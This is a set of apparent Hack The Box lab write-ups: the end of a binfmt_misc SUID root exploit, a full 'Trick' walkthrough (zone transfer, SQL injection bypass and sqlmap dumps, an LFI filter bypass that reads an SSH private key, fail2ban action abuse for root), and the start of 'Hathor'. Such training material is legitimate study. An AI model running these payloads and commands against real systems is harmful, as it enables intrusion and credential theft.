Within the `/proc/sys/fs/binfmt_misc` directory, we see an `EMUEMU` file. If we `cat` it, we get:

```
enabled
interpreter /usr/bin/emuemu
flags:
offset 0
magic 13374f53545249434800524f4d00
```

So, files begining with the magic bytes `13374f53545249434800524f4d00` will be executed by `/usr/bin/emuemu`. If we decode those bytes from hex we get `.7OSTRICH.ROM.`, which are the first few bytes of the example ROM file we found in `dev`'s home directory.

In order to use [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc), we need to be able to write to `/proc/sys/fs/binfmt_misc/register`. We can do this because the `/usr/lib/emuemu/reg_helper` file has the aforementioned capability to bypass file write checks. The script will register a new interpreter with `binfmt_misc` linked to the magic bytes of a random SUID binary. That new interpreter will run `/bin/sh`. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with `binfmt_misc` and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.

A more simple example is registering an entry for Python files with the first few bytes of a python file. With that interpreter added to `binfmt_misc`, you could run Python files without shebang headers directly without using the `python` command. Now, if you made your Python script a SUID binary, ran `os.setuid(0);os.setgid(0)` within it, and executed it, it would run as `root` even though the Python interepreter is not SUID. That is what we are doing with the [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc) script. When a SUID binary is executed, it will execute our interpreter as `root` and we can set its UID/GID to `root` and then spawn a shell.

We download the [exploit](https://github.com/toffan/binfmt_misc/blob/master/binfmt_rootkit) and modify it slightly. We remove the following two pieces of code that check if `/proc/sys/fs/binfmt_misc/register` is writeable, since it is not writeable:

```bash
function not_writeable()
{
	test ! -w "$mountpoint/register"
}
```

```bash
not_writeable && die "Error: $mountpoint/register is not writeable"
```

Finally, change `echo "$binfmt_line" > "$mountpoint"/register` to `echo "$binfmt_line" | /usr/lib/emuemu/reg_helper` so we write to the `reg_helper` file (which will write to `/proc/sys/fs/binfmt_misc/register`) instead of writing directly to `/proc/sys/fs/binfmt_misc/register`.

Running [binfmt\_rootkit](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/binfmt_rootkit/README.md) (our modified exploit) will immediately spawn a root shell. Get the `root.txt` flag with `cat /root/root.txt`.


# Trick

## Summary

Nmap finds SSH, SMTP, DNS, and HTTP (Nginx). We use `dig` to perform a reverse DNS lookup on the ip address of the box, which tells us that the box's domain name is `trick.htb`. Then, we use `dig` again to get the zone transfers for `trick.htb`, which shows us the `preprod-payroll` virtual host. This vhost has a login form, which we find is vulnerable to a basic SQL injection. Then, we use [sqlmap](https://github.com/sqlmapproject/sqlmap) to exploit this vulnerability and dump the database. The credentials we find in the database are not useful, but we can use `sqlmap` to read files on the box.

We read the nginx configuration file and discover the `preprod-marketing` vhost. We fuzz this new vhost a little, but we do not find anything. So, using the SQLi from `preprod-payroll`, we get the source code for `preprod-marketing` and discover a LFI exploit. Since `preprod-marketing` is running as the `michael` user, we are able to get their SSH private key. This gives us the `user.txt` flag.

Now that we are on the machine, we run [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) and discover that we can run `/etc/init.d/fail2ban restart` as root and that we can write to the directory `/etc/fail2ban/action.d`. [This article](https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7) explains the exploit. Basically, we can overwrite the default ban action since we can write to the fail2ban `action.d` folder. We restart fail2ban so our new configuration change becomes active. Then, we spam SSH with invalid logins to trigger a band, thus running our custom command, which will write the `root.txt` flag to a file we can read.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.166`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We have SSH, SMTP, DNS, and HTTP (Nginx).

### Website (Port `80`)

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-a7ebdc770260c694eb2148afbf9d379419af17c7%2FScreenshot%202022-08-05%20at%2017-27-52%20Coming%20Soon%20-%20Start%20Bootstrap%20Theme.png?alt=media)

We try bruteforcing directories by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.11.166/FUZZ`, which finds nothing.

### DNS

We can perform a reverse DNS lookup of the IP address of the box by running `dig -x 10.10.11.166 @10.10.11.166`:

```
; <<>> DiG 9.18.4-2-Debian <<>> -x 10.10.11.166 @10.10.11.166
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21082
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3ac7f0627261ff6a064d4d6562ed8eb780f90544ccebc2ae (good)
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa.     IN      PTR

;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN    PTR     trick.htb.

;; AUTHORITY SECTION:
11.10.10.in-addr.arpa.  604800  IN      NS      trick.htb.

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 44 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Fri Aug 05 17:42:14 EDT 2022
;; MSG SIZE  rcvd: 163
```

This tells us that the box's domain name is `trick.htb`. Let's add that domain to `/etc/hosts`: `echo "10.10.11.166 trick.htb" | sudo tee -a /etc/hosts`.

The second item on the [HackTricks page for DNS](https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns#zone-transfer) is about "Zone Transfers." You can learn more from [this article](https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/). We run `dig axfr trick.htb @trick.htb` to get the zone transfers for `trick.htb`:

```
; <<>> DiG 9.18.4-2-Debian <<>> axfr trick.htb @trick.htb
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.11.166#53(trick.htb) (TCP)
;; WHEN: Fri Aug 05 17:44:53 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
```

This gives us a new subdomain: `preprod-payroll.trick.htb`. Let's add it to `/etc/hosts`: `echo "10.10.11.166 preprod-payroll.trick.htb" | sudo tee -a /etc/hosts`.

### Virtual Host Scanning

Let's scan for other virtual hosts to be safe. We can do this by running `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: FUZZ.trick.htb" -fs 5480`. This finds nothing, but since we know one of the subdomains starts with `preprod-`, we can try bruteforcing only the part after `preprod-` by running `sudo ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://trick.htb/ -H "Host: preprod-FUZZ.trick.htb" -fs 5480`:

```
marketing               [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 32ms]
payroll                 [Status: 302, Size: 9546, Words: 1453, Lines: 267, Duration: 26ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1356 req/sec :: Duration: [0:01:30] :: Errors: 0 ::
```

Let's add the new `preprod-marketing` subdomain to `/etc/hosts`: `echo "10.10.11.166 preprod-marketing.trick.htb" | sudo tee -a /etc/hosts`.

### `preprod-payroll` Virtual Host

We have a login form:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-76908920d20a2f502051d1f99af05aa206e2d867%2FScreenshot%202022-08-05%20at%2017-49-01%20Admin%20Employee's%20Payroll%20Management%20System.png?alt=media)

After trying the standard basic SQL injections, we find that using `' or 1=1 --` as the username and anything as the password works!

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-c1d024dcefbac4a19ad4bb1b710cd452c08edef2%2FScreenshot%202022-08-05%20at%2017-51-19%20Admin%20Employee's%20Payroll%20Management%20System.png?alt=media)

The login form makes a post request to `http://preprod-payroll.trick.htb/ajax.php?action=login`. If we simply make a GET request by visiting that page, we get:

```
Notice: Undefined variable: username in /var/www/payroll/admin_class.php on line 20

Notice: Undefined variable: password in /var/www/payroll/admin_class.php on line 20
3
```

So, we now know the path of a file, which is helpful if we get a LFI exploit or something similar.

Since we know we have a SQL injection, we can use [sqlmap](https://github.com/sqlmapproject/sqlmap) to automate dumping the database. You can learn about sqlmap's command in [its usage documentation](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

```
$ sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:01:17 /2022-08-05/

[18:01:17] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[18:01:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=os8fgd0vrab...lpgtvefjog'). Do you want to use those [Y/n] Y
[18:01:17] [INFO] testing if the target URL content is stable
[18:01:18] [INFO] target URL content is stable
[18:01:18] [INFO] testing if POST parameter 'username' is dynamic
[18:01:18] [WARNING] POST parameter 'username' does not appear to be dynamic
[18:01:18] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[18:01:18] [INFO] testing for SQL injection on POST parameter 'username'
[18:01:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:01:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[18:01:21] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="21")
[18:01:21] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[18:01:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:01:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:01:22] [INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[18:01:22] [INFO] testing 'Generic inline queries'
[18:01:22] [INFO] testing 'MySQL inline queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[18:01:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[18:01:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:01:32] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:01:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:01:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:01:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:01:33] [INFO] target URL appears to have 8 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:36] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:01:36] [INFO] target URL appears to be UNION injectable with 8 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:01:39] [INFO] testing 'Generic UNION query (98) - 21 to 40 columns'
[18:01:40] [INFO] testing 'Generic UNION query (98) - 41 to 60 columns'
[18:01:40] [INFO] testing 'MySQL UNION query (98) - 1 to 20 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 21 to 40 columns'
[18:01:43] [INFO] testing 'MySQL UNION query (98) - 41 to 60 columns'
[18:01:44] [INFO] testing 'MySQL UNION query (98) - 61 to 80 columns'
[18:01:45] [INFO] testing 'MySQL UNION query (98) - 81 to 100 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 416 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=a,password=a' AND 9182=(SELECT (CASE WHEN (9182=9182) THEN 9182 ELSE (SELECT 2526 UNION SELECT 2437) END))-- TwHM

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=a,password=a' OR (SELECT 9149 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(9149=9149,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aDCf

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=a,password=a' AND (SELECT 6496 FROM (SELECT(SLEEP(5)))nbBO)-- qqYe
---
[18:01:46] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[18:01:46] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'
```

This identifies a few exploits, which we can now use to explore the database. If we append `--dbs` to the above command we will get the list of databases:

```
[*] information_schema
[*] payroll_db
```

Then, we can dump the tables from `payroll_db` by running `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db --tables`:

```
Database: payroll_db
[11 tables]
+---------------------+
| position            |
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| users               |
+---------------------+
```

Finally, we can dump the `users` table by running `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --batch -D payroll_db -T users --dump`:

```
Database: payroll_db
Table: users
[1 entry]
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| id | doctor_id | name          | type | address | contact | password              | username   |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| 1  | 0         | Administrator | 1    | <blank> | <blank> | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
```

This gives us a set of credentials: `Enemigosss:SuperGucciRainbowCake`. Trying to use them to SSH onto the machine doesn't work.

We can try reading files with `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /etc/passwd`, which works:

```
$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
```

So, the `michael` user is probably our way onto the box. Attempting to read `/home/michael/.ssh/id_rsa` fails though, so this site is probably not running as the `michael` user.

Since we can read files, we also could have learned about the other subdomain by reading `/etc/nginx/sites-available/default`:

```
server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}
```

Let's try to read the source code of the `preprod-payroll` virtual host. From the error message we got before, we know `/var/www/payroll/admin_class.php` is a file, so we'll get that to start. We get a somewhat large file, but it has the line `include 'db_connect.php';` at the top. So, we get `/var/www/payroll/db_connect.php`:

```php
<?php

$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
```

We get the credentials for the mysql server: `remo:TrulyImpossiblePasswordLmao123`.

Neither `SuperGucciRainbowCake` nor `TrulyImpossiblePasswordLmao123` works as the ssh password for the `michael` user does not work.

### `preprod-marketing` Virtual Host

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-0baccb2d4e310b9491bddfbfc0d5fe173233557e%2FScreenshot%202022-08-05%20at%2019-07-36%20Business%20Oriented%20CSS%20Template.png?alt=media)

We scan for other pages using `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://preprod-marketing.trick.htb/index.php\?page\=FUZZ.html -fs 0`:

```
contact                 [Status: 200, Size: 7677, Words: 2554, Lines: 145, Duration: 36ms]
about                   [Status: 200, Size: 13272, Words: 4709, Lines: 243, Duration: 37ms]
home                    [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 39ms]
services                [Status: 200, Size: 10757, Words: 3505, Lines: 193, Duration: 145ms]
```

This doesn't find anything that isn't already linked to by the main page.

## Foothold

Let's try to get the source code of the site by looking in the `/var/www/market` directory. Running `sqlmap -u "http://preprod-payroll.trick.htb/ajax.php?action=login" --data "username=a,password=a" --random-agent --level 3 --risk 2 --file-read /var/www/market/index.php` gets use the `index.php` file for the `preprod-marketing` vhost:

```php
<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("../","",$file));
}
?>
```

We have a call to `include` that we can control via the `page` GET parameter. All `../` are removed, but this is only done once, so we can bypass it by using `....//` instead of `../` since removing `../` from `....//` results in `../`. Sure enough, visiting `http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd` gives us the contents of `/etc/passwd`. We can check which user we are running as by getting `http://preprod-marketing.trick.htb/index.php?page=....//....//....//proc/self/status`:

```
Name:   php-fpm7.3
Umask:  0022
State:  R (running)
Tgid:   24155
Ngid:   0
Pid:    24155
PPid:   724
TracerPid:      0
Uid:    1001    1001    1001    1001
Gid:    1001    1001    1001    1001
FDSize: 64
Groups: 1001 1002
NStgid: 24155
NSpid:  24155
NSpgid: 724
NSsid:  724
...
```

ID `1001` is `michael` (from `/etc/passwd`), so we should be able to get his SSH private key by running `curl http://preprod-marketing.trick.htb/index.php\?page\=....//....//....//home/michael/.ssh/id_rsa > id_rsa`.

Now, we can SSH to the box as `michael` by running `ssh michael@trick.htb -i id_rsa` and then get the `user.txt` flag with `cat ~/user.txt`.

## Privilege Escalation

We upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in the local [pwncat](https://github.com/calebstewart/pwncat) shell. Run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Trick/linpeas_report.txt) with `less -R linpeas_report.txt`.

We see this in the output:

```
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
```

So, we can run the command `/etc/init.d/fail2ban restart` as root.

Searching for "fail2ban" in the LinPEAS output also shows this:

```
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
  Group security:
/etc/fail2ban/action.d
```

```
(remote) michael@trick:/tmp$ ls -la /etc/fail2ban/action.d
total 288
drwxrwx--- 2 root    security  4096 Aug  6 01:50 .
```

So, we can write to `/etc/fail2ban/action.d`. Searching for "fail2ban privilege escalation" finds [Abusing Fail2ban misconfiguration to escalate privileges on Linux](https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7), which explains the exploit we are about to perform. However, the exploit is not that complicated and can be figured out without the guide.

We can view the enabled fail2ban jails with `cat /etc/fail2ban/jail.conf | grep "enabled = true" -B 1`, which will show us nothing. But jails can also be configured in `/etc/fail2ban/jail.d/`. Checking that directory we find a file called `defaults-debian.conf` that enabled the `sshd` jail.

In the `/etc/fail2ban/jail.conf` file we see the default ban action:

```conf
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
```

`iptables-multiport` is a file in `/etc/fail2ban/action.d/`, which means we can edit it:

```
ls -la /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Aug  6 02:03 /etc/fail2ban/action.d/iptables-multiport.conf
```

We do not have permissions over this file, but since we have write permissions on the directory we can copy the file to `/tmp` with `cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp`, edit it, and then copy it back with `rm /etc/fail2ban/action.d/iptables-multiport.conf && cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/`.

For the `iptables-multiport.conf` file, we change the line that reads `actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>` to `actionban = cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt && sleep 30 && rm /tmp/root.txt`.

Then, restart fail2ban with `sudo /etc/init.d/fail2ban restart` so our configuration change takes effect. Then, ssh and use an incorrect password multiple times. This should create a file `/tmp/root.txt` with the root flag! Note: We easily could replace the ban command with a reverse shell to get a root shell. The copy, fail2ban restart, failed ssh attempts, and getting the root flag all need to be done very quickly because the fail2ban configuation is reset quite often so you need to hit the number of failed SSH attempts before that happens. Tip: Run `watch ls -la /tmp` to see when the `/tmp/root.txt` file is created. Another Tip: Instead of manually getting fail2ban to ban you, use `hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://trick.htb` to spam a lot of login attempts.


# Hathor

## Summary

Nmap discovers a website and a virtual host for mojoPortal. We register for an account on mojoPortal and notice an admin user. Searching for the mojoPortal default credentials finds `admin@admin.com:admin`, which works! As admin, we are able to edit a file and replace it with an [aspx reverse shell](https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx). Then, we copy that file to a name with the `.aspx` file extension so it can be executed. We figure out where the file is stored on the server and then make a GET request to it to get e reverse shell.

Now that we are on the box, we look around and notice the `C:\Get-bADpasswords` directory, which contains the program [improsec/Get-bADpasswords](https://github.com/improsec/Get-bADpasswords). There is a logs folder that indicates that the user `BeatriceMill` has a weak password. We `BeatriceMill`'s password hash in a CSV file outputted by the program and then we crack it with [CrackStation](https://crackstation.net/).

